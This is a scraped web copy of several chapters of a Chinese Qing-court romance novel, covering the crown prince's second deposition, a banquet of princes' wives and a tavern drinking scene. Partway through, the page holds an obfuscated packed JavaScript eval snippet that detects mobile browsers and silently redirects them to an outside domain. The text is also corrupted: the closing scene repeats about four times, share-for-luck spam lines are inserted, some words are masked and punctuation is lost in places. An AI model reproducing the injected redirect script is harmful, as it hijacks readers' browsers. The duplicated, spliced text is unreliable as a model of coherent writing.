其实,在宫里,太子没有胜算,只要他由奴才掩护着离开毓庆宫,太子便是败了。 可若是添上火器,康熙心中没底。 乌压压跟过来一群人,姗姗来迟是随康熙到毓庆宫的御前侍卫。 太子的软骨散药效极其猛烈,他们习武多年,缓和将近两刻钟,才勉强能直立行走。 康熙的帝王仪仗御前侍卫被太子用上软骨散,几乎都变成了软脚虾,如今挡在康熙身前,看着满天火光,不由得微微胆寒。 “奴才等救驾来迟!不能及时护驾,奴才该死!” “皇上,王爷,有火器,奴才等誓死护驾。” 康熙看着满天火光,竟有些孤寂和寂寥,不可避免回忆起他这一生为帝的种种。 回首看向胤禛,叹道,“是朕连累了你。” 胤禛垂眸将康熙推开,重重叹口气,在康熙霎时疑惑又紧张的目光中,纠结道:“皇阿玛,那持火器的好像是儿子的人。” 康熙:“………” 行,赏他两脚。 * 康熙早就清楚,太子如今性情,早已不适合储君之位。 一废太子之后,他打压老八一党,将富察氏嫁予胤禛为妻,平衡朝堂势力,隐晦将富察氏一族拨冗到太子一党。 后来,他暗示张廷玉和富察马齐,奏请复立胤礽为太子。 只想再给他一次机会。 可他越来越清楚,这机会持续不了多久,却从未想过会如此快。 康熙五十一年。 九月三十日,康熙等待四个月有余,向诸皇子宣布: “皇太子胤礽自从复立以来,以前的狂妄还未消除,以至于大失人心,祖宗的基业断不可托付给他。朕已经奏报给了皇太后,现在要将胤礽拘执看守。” 十一月十六日,康熙帝将废皇太子事遣官告祭天地、太庙、社稷。 康熙二废胤礽太子之位,着幽禁咸安宫。 他终究是没有将那晚毓庆宫的闹剧开诚布公,只道太子狂妄未消,不堪为国储。 康熙没有牵连弘皙,仍旧准许他入朝参政,还为其在京城赐了府宅,现如今携亲眷已然搬出毓庆宫。 弘皙的府宅离雍亲王府很近,弘皙此事过后不复往昔张扬矜贵,频频想起胤禛曾经的两个巴掌。 ——“本王是在教你,明白吗?” 他明白,故而,他没有参与阿玛谋反弑君之事。 … 这几个月,胤禛又悠哉悠哉在府上养病,心安理得做仪欣的小跟班,帮她整理一些杂乱的事情。 仪欣前阵子生气,又将他赶到前院去睡觉,只因他在毓庆宫受伤。 其实,火器之事,胤禛早有安排,却还是要任由太子的人砍伤康熙,才动手反击。 有些时候,剑刺进谁的血肉,谁真正知道疼,不疼不痒不长记性。 胤禛需要这一剑斩断康熙和太子的情分,省得日后再搞出三立太子之事。 只是,仪欣很心疼。 本来赶他去前院反省自己,半夜又忍不住抱着软枕潜入正院寝殿,埋头哼哧哼哧扎到他怀里,撒娇要他哄着睡。 胤禛和仪欣大抵是吵不起来的。 因为,仪欣永远懂得心软和心疼她爱的人,故而不去计较细微的原则问题。 只是,她要很多的面子。 说不让胤禛回正院睡觉,便是一步不让。 于是,小夫妻只好美滋滋同时睡在前院,一连睡了几个月。 伤筋动骨一百天,直到胤禛彻底康复,能够上朝后,两个人才有秩序地搬回正院。 胤禛夸仪欣有原则,又夸她聪慧,总能想出两全其美的办法。 仪欣最喜欢他的夸奖,觉得他说的有道理。 第175章 点戏 已经是十一月底。 百日前,完颜氏夜里平安生下一个阿哥,老十三亲自取名为弘晈。 “晈”意通“皎”,意为皎皎明月,明月弯弯,亦直白透露着胤祥对于嫡女弯弯的喜爱。 完颜氏很喜欢这个名字,纵使康熙因太子之事,颇为牵连十三爷,无暇赐名,她也觉得心满意足。 老十三救下太子,得封郡王;然而未满七日,太子意欲弑君夺位。 康熙对老十三的郡王爵位不免如鲠在喉。 就连完颜氏诞下嫡子也不曾大肆赏赐。 完颜氏不是讲究排场的人,为了避风头,不触康熙霉头,弘晈的洗三和满月都没有大办。 如今完颜氏出了月子,弘晈也周正漂亮,风头过去,自然要给孩子作宴祈福。 仪欣跟胤禛到的不算早。 主要是她晨起晚些,又讲究漂亮精致,光是挑衣裳首饰便足足一个时辰。 胤禛早起有舞剑练拳的习惯,重新沐浴更衣后,见她还在梳妆,并不催促,而是静静斜倚在软榻上读经书,认真回应仪欣的关于挑选首饰的问题。 最后他捏着仪欣的下巴,细细斟酌替她描眉,两人这才出了门。 一进郡王府。 胤禛替仪欣裹了裹大氅,温声叮嘱:“本王就在前院,有什么事便派人来寻。” 仪欣喜气洋洋点头,又叮嘱道:“知道了,王爷少饮酒。” 胤禛温和视线,无辜叹道:“本王不喜饮酒,耐不住有人执意灌本王。” 苏培盛觉得牙酸,皮笑肉不笑,王爷如今这个身份地位,还有谁敢灌王爷喝酒呢?好难猜啊。 不过是喝多些,福晋便会心疼照料,又能说些有的没的。 仪欣柳眉微蹙,不悦道:“王爷真可怜,咱们早些回府。” “嗯。” 女子宴会设在后花园的暖庭阁,外有流觞曲水,别有意趣。 十三爷请了京城戏班子,台上正咿呀咿呀唱着牡丹亭,今日是完颜氏的好日子,她坐在最前面从容笑着招待宾客,后面是三福晋董鄂氏和五福晋他他拉氏。 ”四嫂。” 完颜氏见仪欣到了,起身相迎。 仪欣穿着一身浅黄色的旗装,暖橘色的袄子带着雪白的兔毛领,衬得她的小脸莹白,她一耳戴三钳,专属于太子妃和皇贵妃的东珠就堂而皇之佩戴着,让人目光一凝。 三福晋董鄂氏,五福晋他他拉氏,七福晋哈达那拉氏,九福晋董鄂氏,十福晋博尔济吉特氏,十二福晋富察氏……一并起身相迎。 “四嫂安好。” 三福晋董鄂氏身份最尴尬,缓和半晌勉强笑着说:“四弟妹。” 大阿哥圈禁,太子被废,皇子之中本来应是三爷为首。 但如今唯独四爷胤禛是嫡子,无论是封亲王资历,还是嫡庶尊卑,都稳稳压了三爷一头。 偏偏四福晋富察氏还只是个不满双十年华的小姑娘,又无子嗣,让她这为皇家诞下两子两女的三福晋不得不起身笑脸相迎。 仪欣笑着挽住完颜氏的胳膊,惊叹道:“十三弟妹如今气色真好。” 晴云笑着将仪欣带来的礼物交给完颜氏的贴身侍女,微微抚髻示意,妥帖站回仪欣身后。 “各位弟妹安好,都坐吧。”仪欣骄傲扬着头客套寒暄,款款坐到完颜氏身侧位置上,凑近些说,“我给你带了阿胶,你每日都记得吃,对女子身体好。” 完颜氏轻声道:“多谢四嫂。” 仪欣坐下,众福晋这才纷纷落座。 她喜欢听戏,见台上唱的牡丹亭,听得欢喜,招呼着拿来折子再点几出热闹的。 完颜氏跟仪欣关系最好,自然没有不应。 仪欣尚未见过新孩子,有点想得慌,边翻看戏本子,边偏头好奇问:“弘晈呢?” 完颜氏甜蜜笑叹口气,“弘晈还在睡着,他白日睡得最香,一到晚上便精神,实在是闹人,等咱们听完戏,妾身抱出来给四嫂看看。” “好呀好呀。” 仪欣随口点了一出龙凤呈祥,一道琵琶记,她听戏最喜欢热闹风光纷繁的曲目,有时候不关注情节,听个响也要轻快悠扬。 她手里拿着戏本子无处安放,便想着身后的三福晋和五福晋。 五福晋他他拉氏离仪欣最近,仪欣和气递给五福晋,笑着说:“五弟妹有什么爱听的吗?不妨看看。” 三福晋董鄂氏唇角一下子落下来。 五福晋是个心细如发又有些中庸退让的人,她的家世背景在一众福晋中最低,和五爷关系也极其一般,故而事事不争先。 余光扫到三福晋董鄂氏冷下来的神色,他他拉氏腼腆弯了弯唇,轻声道: “多谢四嫂,妾身平日里不常听戏,没什么喜爱偏好,不妨让三嫂点吧,妾身跟着听就行。” 仪欣没在意她的推诿,人人都有偏好,她也尊重,不觉得被拒绝没面子,转而递给三福晋,温盈盈地说:“三嫂呢?” 董鄂氏半晌不接戏本子,仪欣蹙眉看向她,董鄂氏这才跟回神似的,笑着接过来,手里握着娟帕掩了掩唇。 翻也没翻,笑着说:“今天是十三弟妹的好日子,喜得麟儿,那本福晋点一出儿孙满堂吧,天下女子所求不过相夫教子,儿孙满堂,实属人生幸事。” 有些人注定无子,她暂且不与其论长短。 仪欣没听出来有什么不对。 身后众福晋有些已然沉默,完颜氏犹疑要不要提议三福晋再点一出新的。 十二福晋富察玟磐直接阴阳怪气道:“那三嫂只说自己即可,提什么天下女子?” 堂姐搭话,还是这般不客气的言论,仪欣没咂摸过味来,便怕十二福晋吃亏,迎头附和一句:“就是,三嫂这就要争当女子表率了?” 三福晋董鄂氏一噎,险些拍案而起,“四弟妹,话可不能乱说。” 九福晋跟三福晋是堂姐妹,她长袖善舞,又八面玲珑,自然听懂三福晋话中未尽之言,不赞同,却只能为她圆场: “三嫂所言,大多数女子所求,不过是段戏折子,总归听个寓意喜庆便罢了。” 仪欣见气氛一下子凝滞下来,不明白她们掰扯啥呢,摆了摆手,一锤定音道:“听戏吧。” 第176章 三福晋 完颜氏笑着使个眼色,侍女鱼贯而入,奉上新鲜有趣的茶点。 仪欣素手捏了一块放入口中,愉悦眯了眯眼睛,偏头低声夸赞完颜氏府上点心可口。 她软乎乎的耳朵上,璀璨夺目的东珠格外刺眼。 三福晋董鄂氏扯唇低眉,缓和半晌,才重新端庄仰着头听戏。 她为皇家生了四个孩子,都不曾佩戴过这般品级的东珠。 偏偏富察氏无所出,且比在坐的福晋们年纪都小几岁,却是最尊贵抢眼的。 好不容易熬到三爷为长,她不必尊敬大福晋,也不必讨好太子妃,可如今偏偏又被年纪轻轻不谙世事的富察氏压一头。 甚至,各般滋味,尚且不如屈居太子妃之下。 四爷是嫡子,又得皇阿玛重用,在户部说一不二,在满洲上三旗大姓中亦是颇有威望。 可三爷只是做些编纂史书曲目的差事,身边亲信还都是文臣。 朝堂之事,本就是你方唱罢我登场,跟戏台子是一样的,董鄂氏跟三爷十几年夫妻,自然清楚他的一些心思。 今日一行,不免有些热切。 听完戏,便是开宴。 仪欣向来不喜欢宴会上的吃食,只因她脾胃娇气,若是吃点不合胃口的冷食,便会难受犯恶心。 完颜氏知道仪欣的脾胃弱,特意为她准备了养胃的羹汤,又给仪欣额外添一碗适合弯弯吃的蛋羹,想来小孩子适宜消化,总归不会出错。 仪欣吃一口,眼睛一亮,吩咐晴云去讨要蛋羹的制作方法。 她用了一碗蛋羹,又喝了小半碗汤,便不再动筷,喜气盈盈听着众福晋叙话。 她年纪小,跟她们没做几年妯娌,又跟着四爷在别庄住了许久,少有聚时,反正大多数都算不上熟识。 况且,三福晋她们聊起孩子的事情,又常说起家长里短。 十福晋博尔济吉特氏性格爽朗,言语不忌,玩笑般还提起府上妾室争宠的小事。 七福晋家世好,七爷宠妾灭妻很出名,她不忌讳,冷言冷语讽刺了几句。 五福晋家世最低,阿玛只是六品京官,她尚且不如府上侧福晋,五爷宠妾灭妻更甚,她不便多言,只是沉默听着,勉强挂着笑意。 十三福晋完颜氏并不算健谈,只是温温柔柔听着她们叙话,偶尔言语实在不当,才要温声转到旁处,说些别的。 没有外人,妯娌之间都清楚彼此算怎么回事,只说后宅的事反倒少了忌讳。 仪欣跟她们没有共同话题,倒是当话本子听,觉得津津有味,想着晚上跟王爷打听打听。 不一会儿,弘晈的奶娘来禀报说,弘晈阿哥醒了。 完颜氏笑着起身去抱,“妾身将孩子抱来给各位嫂嫂们看看。” 仪欣最为兴致勃勃,她喜欢软乎乎的小孩子。 弘晈被裹得严严实实抱过来,仪欣温软目光看着,颇为喜悦,惊叹咋舌道:“还是跟十三弟比较像,眼睛好似像十三弟妹多一些。” 弯弯跟在身后,笑眯眯地牵住仪欣的手,软声唤道:“婶母婶母~” “哇——是弯弯呀。” 仪欣这才注意到弯弯,她很矮,在一众围着看弘晈的大人们中间,小小的,不起眼。 怕弯弯有被忽略的心情,仪欣半蹲着抱抱她,咬牙蓄力想将弯弯抱起来,抱得跟大人们一样高。 但是她胳膊上没什么力气,又没抱过两次孩子,紧紧抱着弯弯有些吃力,弯弯的小旗装滑稽得皱皱巴巴。 但是弯弯却不嫌弃,亲热抱着仪欣的脖颈,张望着一起看弘晈。 三福晋董鄂氏略带阴阳道:“四弟妹一看就是没抱过孩子的,给我吧。” 仪欣弯着的唇角渐渐抿平,关她什么事? 弯弯:没意见。 仪欣:没意见。 三福晋董鄂氏:叽里呱啦叽里呱啦指指点点。 察觉到仪欣的不悦,九福晋亲热摸了摸弯弯的小脸,拉走三福晋笑道:“三嫂陪我去更衣吧。” 出了宴会厅。 九福晋在檐下庭廊拐角处便忍不住了,皱眉直言问:“堂姐何必处处给四嫂添不痛快?” 她看得出来,四嫂心思浅显,没有后宅那些争长短的意识,这才没听出三福晋的子嗣话外音。 可她也看得出来,四嫂不是好惹的,若是让她反应过来,直接给三嫂难堪,三嫂讨不到任何好处。 三福晋尴尬道:“没,没有。” 九福晋提醒说:“有也好,没有也罢,我理解堂姐的心情,但是,要争长短上下,也该是三爷去跟四爷争,堂姐还是少在四嫂这里想有的没的。” 三福晋霎时不悦,她有什么资格教训自己?况且,话留三分,她作为妹妹和弟妹,这般对自己说话,若是让人听了去,算什么? 九福晋看她这样就知道她没听进去,笑着摇摇头,由侍女扶着袅袅婷婷离开。 堂姐跟三爷在一起多年,倒是沾了许多酸腐气。 … 仪欣答应胤禛要早些回府,又怕旁人灌他酒,宴会临近尾声,便差遣小良子去前面请王爷。 胤禛没喝几口酒,见小良子来了,清清冷冷抬腕止住老五跟他的交谈声。 “什么事?” “王爷,福晋叮嘱您不能喝太多酒,关怀询问何时回府。” 胤禛无奈弯了弯唇,拉过老十三打声招呼,转而道:“现在就回。” 在众人目瞪口呆中,胤禛大步离开。 马车上。 仪欣滔滔不绝跟胤禛讲弘晈有多么可爱。 “王爷,他的小脸跟被衾一样,软乎乎的,让人碰一碰,就手心痒痒的,还想跟揉面团一样抓一把。” 胤禛含笑古怪看着她,她怎么有这么多奇奇怪怪的比喻,揶揄问:“那你抓了吗?” 仪欣大惊,脑袋躺着胤禛的大腿上,“我不好意思去抓呀,那可是十三弟妹的新孩子,我揉一把,若是他哭闹了,十三弟妹怕是要心疼坏了。” “嗯,仪欣真有分寸。”胤禛低头笑着亲她叽里咕噜冒话的嘴巴,“到时候仪欣揉咱们自己生的,这样不用不好意思了。” 仪欣眼里迸发出兴奋的期待,满满都是跃跃欲试,幸福地依偎在胤禛的膝头,转而又分享起今日吃的香甜蛋羹的事情。 “王爷,那个蛋羹真的好好吃,怪不得弯弯爱吃。”仪欣期待说,“王爷,你要不要试一下?” 胤禛搂着她的腰,含笑拒绝:“本王就不跟小孩子抢了。” 第177章 反正老四也不能生 仪欣窃窃笑凑到胤禛耳边小声问他知不知道五爷和七爷后院的事情。 胤禛一顿他是做兄长的怎么能肆意谈论弟弟的后宅之事? “王爷你究竟知不知道?” “略有耳闻。” 仪欣眸色亮晶晶双手乖巧伏在胤禛的膝头“我想听。” 胤禛轻笑一下侃侃而谈道:“老五自幼养在太后膝下天然有蒙古那边的亲近和爱戴皇阿玛不会让他过多参与朝政之事同时特意择了个家世低的嫡福晋。同时也能看得出皇阿玛对蒙古尊而不亲的态度。” “老七便有所不同他天生坡脚为人低调皇阿玛多有疼爱嫡福晋那拉氏是满洲望族出身高贵恰好能弥补他的不足。” 仪欣轻哼道:“王爷的好多兄弟都是宠妾灭妻的都说不过去。” 唯一坊间传闻大阿哥专宠福晋实则也是为了生嫡子最后把大福晋身子熬得油尽灯枯。 还有八阿哥专宠八福晋八福晋善妒 皇阿玛心疼儿子嫡福晋没过门他们有喜爱的侧室通房伺候着侧室格格的庶子庶女都生好几个了后来者居上哪里是那么容易的事情。 胤禛置若罔闻淡淡道:“嗯他们可太坏了。” 仪欣见胤禛与她同仇敌忾觉得很高兴趴在他的肩膀猛猛亲两口他的侧脸又贴心将他脸上的口脂擦掉。 胤禛宠溺亲回去。 刚进雍亲王府小豆子气势汹汹欢快跑过来两个侍从从后面紧赶慢赶追不上气喘吁吁告罪说:“王爷福晋恕罪。” 仪欣笑眯眯摆摆手“不碍事退下吧。” 小豆子兴奋围着仪欣团团转小猫铺着仪欣旗装下摆轻挠仪欣花盆底的流苏。 “喵喵~!”小豆子兴奋要抱。 仪欣欢喜搓搓手胤禛挡住她“它身上脏洗干净了再抱。” 小豆子好像听得懂人话气恼瞅一眼胤禛后退两步一个助跑仪欣默契配合哐叽一下接了个满怀得意冲胤禛笑。 胤禛无语看着她怀里同样得意洋洋的猫儿真是哭笑不得轻哼一声背过手去漫不经心往正院走“你也脏兮兮的。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 仪欣跟拦路小猫一样抱着小豆子频频往胤禛身前钻胤禛止住脚步挑眉轻笑看着她眼巴巴抱着大脸盘子猫的小模样想着她大抵是抱累了央求着他把狸奴接过去。 胤禛声音低低沉沉笑问:“怎么了呢?” 仪欣娇气又温软看着他小声嘀咕:“王爷可是小豆子都有人抱着。” 胤禛心都要化了唇角压不下笑意俯身将仪欣抱起来大步往正院走小豆子都有人抱着他的仪欣没人抱着怎么可怜兮兮的。 “穿花盆底是不是累了?” “有一点点。” “午膳吃饱了吗?想不想再吃点什么?” “不用晚膳还要吃蛋羹。” “好。”胤禛亲亲她的脑袋任由仪欣小猫依人靠在他的怀里。 仪欣抱着小豆子胤禛抱着仪欣;小豆子舒舒服服喵喵叫仪欣新鲜得应和它陪它喵喵说话胤禛看着她勾唇笑。 太子虽然被废但其党羽仍旧庞大。 毓庆宫那晚太子在内埋伏弑君对外指使其重要心腹托合齐掌握京畿皇城。 里应外合。 托合齐担任九门提督的职务九门提督执掌京城内九座城门的防御和管控工作统领八旗步军营及巡捕五营的兵力总计三万余人。 太子倒台后 年羹尧处老十四迅速抓住机会掌握川陕政事直达天听以谋逆之罪斩杀年羹尧只待新一任川陕总督上任。 除托合齐之外太子奶娘之子普凌于热河担任军政要职掌握热河地区的军机要务。 胤禛奉旨抄家雷霆手段尽显无疑充盈国库在热河太子奶兄普凌家中抄出八百万两白银和良田千顷珍宝无数现银数目与国库竟是不相上下。 康熙气得险些中风胤禛耐心伺候在床前不咸不淡劝解。 康熙还是有力气摔摔打打的胤禛悉心喂药攥住康熙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16452175|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手腕沉默一下劝解道:“阿玛太医不让您动气。” “胤礽治下竟如此糊涂朕实在失望。”康熙咳嗽道“你做得不错陟罚臧否施恩却不谄媚严酷却不暴戾朕很欣 听说看这本书的人都是很幸运的,分享后你的运气会更棒 慰。” 胤禛做事自有他的一套章法和原则,端方雍雅,朝堂上下,莫不信服。 胤禛不以物喜,不以己悲,淡淡道:“阿玛若是再看不惯哪个****的奴才,尽管派儿子去抄了他们,哪用您气病了呢?” 康熙慈爱笑着嗔怪看他,苦口婆心道:“治国还是仁德为先,哪有动辄抄家灭族的事情,臣民不知如何非议。” 胤禛严肃道:“阿玛,儿子不在意非议,国库充盈,百姓安居,大清强盛,至于功过,不过汗青寥寥几笔。” 他并非两耳不闻窗外事,相反,朝堂一应**,耳聪目明,是他反复上奏皇阿玛抄家**羽,并且愿意亲自带兵督办此事,便已经做好其余皇子攻讦他刻薄寡恩心狠手辣的准备了。 但是国库空虚,吏治凋敝,藏税于民,百姓却未曾安居,他的名声又算什么呢? 康熙哈哈大笑,握着书卷拍一下胤禛的脑袋,感叹道:“好儿子,有朕之风范。” 胤禛傲慢盯着康熙,邪气哼笑,“阿玛最好夸得是我。” 梁九功惊骇,又到**以为常,本以为太子二废,万岁爷会伤心欲绝,岂知如今跟四爷肃清朝堂,一改往日怀柔心慈手软,重新大张旗鼓整顿吏治。 那晚万岁爷和四爷自毓庆宫相互搀扶着出来,父子情分便随着交融流出的血液,难舍难分起来。 “有朕之风范”这种话,若是在朝堂上说,那可是暗示下一任君主的,如今父子闲谈说出来,竟无一丝违和。 乾清宫外。 老九老十和老三等待康熙召见,已经等了有一会儿了,尤其是老九,早已不耐烦,“究竟是谁在里面,通报两次,皇阿玛也不得召见吗?” 第178章 反正老四也不能生(2) 老三诚亲心里也有不耐,面上却还是和缓浅笑,“四弟最近在陪着皇阿玛。” 董鄂氏回府跟他反复提起富察氏佩戴的东珠,一连抱怨了许多时日。 老九:“又是老四。” 老十肘击都挡不住老九的话,只听老九在檐下堂而皇之道:“反正老四也不能生。” “九哥。”老十面色古怪又复杂。 老三扭头对他们淡淡一笑,是啊,还好老四不能生,他就是这么安慰他的福晋的。 太子二废,他们的心思又热络起来了。 半刻钟后,胤禛离开乾清宫,小泉子暗地里追上来,将老九不避讳的话复述给胤禛,胤禛弯唇点点头,云淡风轻离开。 老九和老十在乾清宫点个卯便离开。 回府马车上,老十翘着二郎腿,一脸复杂握着扇柄,回忆道:“九哥,你忘了吗,老四不能生这件事,是咱们造谣传出来的。” 不知道怎么回事,如今人人都心安理得这样认为。 老九嗤之以鼻:“怎么?他成亲快四年了,要能生早有动静了,老四如今快到而立之年了吧。” 老十想起仪欣,勉强解释道:“或许是四嫂身体不好,年纪轻的缘故呢?” 老九不信,反驳说:“年纪轻?满族格格在旗十三岁当选秀女,富察氏周岁将满十八,也算年纪轻?况且,她身体不好,天下又不是没有旁的女人。” 老十张了张嘴,没有说话。 八哥跟九哥怎么如今听不进去他说话呢? 胤禛政务繁忙,仪欣也不闲着。 姚虞离开京城后,植宁又接替了姚虞的位置,和仪欣一同打理酥阁和城南施善的事情。 春意楼。 植宁拄着下愁眉苦脸跟仪欣说话,她成亲已经半年了,成亲后的生活远没有想象的那般美好,她从前看着仪欣成亲后无拘无束的模样,还以为婚后生活均是如此。 谁知,仪欣竟是可望不可及的境遇。 仪欣穿着一身肉粉色袄子陪着植宁一同托着下巴,琥珀色的眼睛随着她唉声叹气,也附和着哀声叹气。 植宁看着好笑,又开朗些,问:“除夕将至,你打算怎么过呀?” 仪欣眼里有些期待的光亮,笑盈盈说 :“哪年都是老样子,进宫除夕宫宴,然后带王爷回家要压岁钱。” “真好。”植宁哀嚎一声,“我也想回家过年。” 仪欣刚想脱口而出,却又止住话头,给植宁喂一块桃花酥。 植宁嫁的是佟佳氏二房嫡子佟佳玉忱,佟佳玉忱有能力,有魄力,颇有肩担门楣的风范,但是,佟佳氏如今最得力的却是三房的隆科多,佟佳玉忱还要小心处理与叔父隆科多的关系。 隆科多的嫡妻赫舍里氏庸懦,纵使没有李四儿,还有张四儿,王四儿,总之隆科多后宅乃至佟佳氏后宅,都是植宁的婆母西林觉罗氏把持着。 西林觉罗氏颇为强硬有主见,从之前佟佳氏送礼试探自己,仪欣便清楚西林觉罗氏的为人处世犀利而不迂回,纵使跟植宁同姓西林觉罗,但并非同根同源,故而,西林觉罗氏不放管家权力。 即使佟佳玉忱跟植宁相处融洽,植宁新婚的日子也并不算好过。 植宁恹恹不乐嚼着桃花酥。 仪欣哼声道,“没事,别的不敢说,佟佳氏我能做主,你想要什么,我给你抢回来就得了。” 管家?还是让佟佳玉忱遣散妾室不纳妾?赶紧别让植宁闷闷不乐了。 植宁大惊,赶忙拦住:“别,可别,四福晋,咱还不至于。” 仪欣小眼神瞅她。 植宁亲昵搂住仪欣的肩膀,感动又撒娇,“还好能跟我的仪欣说这些心事。” 仪欣傲娇昂着头,哼唧道:“你放心,反正有我呢。” 植宁成亲后没有做格格时自由,好不容易才能出来一趟,此说起心里话就想放松一下,神神秘秘提议:“我想喝点酒。” 仪欣来劲兴奋道:“行啊,我在府中时常陪王爷喝酒,酒量很好的。” 植宁惊叹,那敢情好,仪欣酒量好,总归出不了岔子。 边说话边聊天,植宁去更衣,回来时,店小二已经送上来两壶温热的桃花醉。 植宁走进来牙酸神秘问:“你猜猜,我见到谁了?” 仪欣示意晴云倒酒,随口问:“谁啊?” 植宁挨着仪欣坐下,低声说:“莫雅琪,还有恭亲王府三格格。关键是,还有三福晋,挽着手进来的。” 仪欣瞪圆眼睛,心中万分纳闷,几个手帕交聚一聚,三福晋掺和什么呢?算 了,想不明白,晚上回去问王爷。 “没事,咱们先喝酒。”仪欣推给植宁一小杯桃花醉,轻轻跟她碰杯,“喝完这顿酒,让不高兴的事情都过去吧。” 植宁连连点头,双手捧着酒杯,一饮而尽。 仪欣看植宁喝得这么干脆,捧起酒杯也喝光,辣得眯眼睛,又继续倒上。 植宁觉得很有趣,斟满后感叹道:“桃花醉回甘甜甜的。” 王爷也这样说,仪欣想,王爷说桃花醉跟烧刀子比起来,淡的跟水一样,她怎么喝着还是很辣。 氛围很好,晴云惊奇发现窗外有些下雪,围炉煮酒,仪欣挽着植宁坐到窗边软榻上,两个人轻声叙话,温馨饮酒,没一会儿,仪欣觉得有点晕乎乎的。 一不小心碰翻酒壶,撒一地。 植宁赶紧检查仪欣有没有弄污衣襟,仪欣摆摆手,“没事,再来一壶!” 晴云低眉小声劝一句,“福晋,酒多伤身,王爷知道,怕是会不悦。” 搬出王爷来,总归能劝住吧。 仪欣不高兴,她还怕王爷不成?仪欣瞄一眼小良子,不管晴云的劝说,扬扬下巴,潜台词很明显,赶紧去拿酒呀。 小良子讪笑,只能遵命。 连洒带喝,三壶酒便见底了,植宁成亲后就出过两次府,心情也不愉快,仪欣抱着舍命陪君子的精神,依偎着植宁陪她说话。 植宁还是怀念未成亲的日子,颇为低落,“从前照春芳的伶人,想什么时候看就看了,如今怕是要遭人戳脊梁骨。” 仪欣醉得厉害,吸了吸鼻尖,一拍胸脯轻哼道:“没事的,有我在,伶人照常看,小曲照常听,没人敢为难你。” 胤禛抱胸倚着门框漫不经心捻佛珠,包厢里酒气冲天,她跟西林觉罗氏不知喝了多少,一脸痴态趴在窗前看雪聊男伶人二三事。 行,在外面要很多面子是吧,回家再说的。 了,想不明白,晚上回去问王爷。 “没事,咱们先喝酒。”仪欣推给植宁一小杯桃花醉,轻轻跟她碰杯,“喝完这顿酒,让不高兴的事情都过去吧。” 植宁连连点头,双手捧着酒杯,一饮而尽。 仪欣看植宁喝得这么干脆,捧起酒杯也喝光,辣得眯眼睛,又继续倒上。 植宁觉得很有趣,斟满后感叹道:“桃花醉回甘甜甜的。” 王爷也这样说,仪欣想,王爷说桃花醉跟烧刀子比起来,淡的跟水一样,她怎么喝着还是很辣。 氛围很好,晴云惊奇发现窗外有些下雪,围炉煮酒,仪欣挽着植宁坐到窗边软榻上,两个人轻声叙话,温馨饮酒,没一会儿,仪欣觉得有点晕乎乎的。 一不小心碰翻酒壶,撒一地。 植宁赶紧检查仪欣有没有弄污衣襟,仪欣摆摆手,“没事,再来一壶!” 晴云低眉小声劝一句,“福晋,酒多伤身,王爷知道,怕是会不悦。” 搬出王爷来,总归能劝住吧。 仪欣不高兴,她还怕王爷不成?仪欣瞄一眼小良子,不管晴云的劝说,扬扬下巴,潜台词很明显,赶紧去拿酒呀。 小良子讪笑,只能遵命。 连洒带喝,三壶酒便见底了,植宁成亲后就出过两次府,心情也不愉快,仪欣抱着舍命陪君子的精神,依偎着植宁陪她说话。 植宁还是怀念未成亲的日子,颇为低落,“从前照春芳的伶人,想什么时候看就看了,如今怕是要遭人戳脊梁骨。” 仪欣醉得厉害,吸了吸鼻尖,一拍胸脯轻哼道:“没事的,有我在,伶人照常看,小曲照常听,没人敢为难你。” 胤禛抱胸倚着门框漫不经心捻佛珠,包厢里酒气冲天,她跟西林觉罗氏不知喝了多少,一脸痴态趴在窗前看雪聊男伶人二三事。 行,在外面要很多面子是吧,回家再说的。 了,想不明白,晚上回去问王爷。 “没事,咱们先喝酒。”仪欣推给植宁一小杯桃花醉,轻轻跟她碰杯,“喝完这顿酒,让不高兴的事情都过去吧。” 植宁连连点头,双手捧着酒杯,一饮而尽。 仪欣看植宁喝得这么干脆,捧起酒杯也喝光,辣得眯眼睛,又继续倒上。 植宁觉得很有趣,斟满后感叹道:“桃花醉回甘甜甜的。” 王爷也这样说,仪欣想,王爷说桃花醉跟烧刀子比起来,淡的跟水一样,她怎么喝着还是很辣。 氛围很好,晴云惊奇发现窗外有些下雪,围炉煮酒,仪欣挽着植宁坐到窗边软榻上,两个人轻声叙话,温馨饮酒,没一会儿,仪欣觉得有点晕乎乎的。 一不小心碰翻酒壶,撒一地。 植宁赶紧检查仪欣有没有弄污衣襟,仪欣摆摆手,“没事,再来一壶!” 晴云低眉小声劝一句,“福晋,酒多伤身,王爷知道,怕是会不悦。” 搬出王爷来,总归能劝住吧。 仪欣不高兴,她还怕王爷不成?仪欣瞄一眼小良子,不管晴云的劝说,扬扬下巴,潜台词很明显,赶紧去拿酒呀。 小良子讪笑,只能遵命。 连洒带喝,三壶酒便见底了,植宁成亲后就出过两次府,心情也不愉快,仪欣抱着舍命陪君子的精神,依偎着植宁陪她说话。 植宁还是怀念未成亲的日子,颇为低落,“从前照春芳的伶人,想什么时候看就看了,如今怕是要遭人戳脊梁骨。” 仪欣醉得厉害,吸了吸鼻尖,一拍胸脯轻哼道:“没事的,有我在,伶人照常看,小曲照常听,没人敢为难你。” 胤禛抱胸倚着门框漫不经心捻佛珠,包厢里酒气冲天,她跟西林觉罗氏不知喝了多少,一脸痴态趴在窗前看雪聊男伶人二三事。 行,在外面要很多面子是吧,回家再说的。 了,想不明白,晚上回去问王爷。 “没事,咱们先喝酒。”仪欣推给植宁一小杯桃花醉,轻轻跟她碰杯,“喝完这顿酒,让不高兴的事情都过去吧。” 植宁连连点头,双手捧着酒杯,一饮而尽。 仪欣看植宁喝得这么干脆,捧起酒杯也喝光,辣得眯眼睛,又继续倒上。 植宁觉得很有趣,斟满后感叹道:“桃花醉回甘甜甜的。” 王爷也这样说,仪欣想,王爷说桃花醉跟烧刀子比起来,淡的跟水一样,她怎么喝着还是很辣。 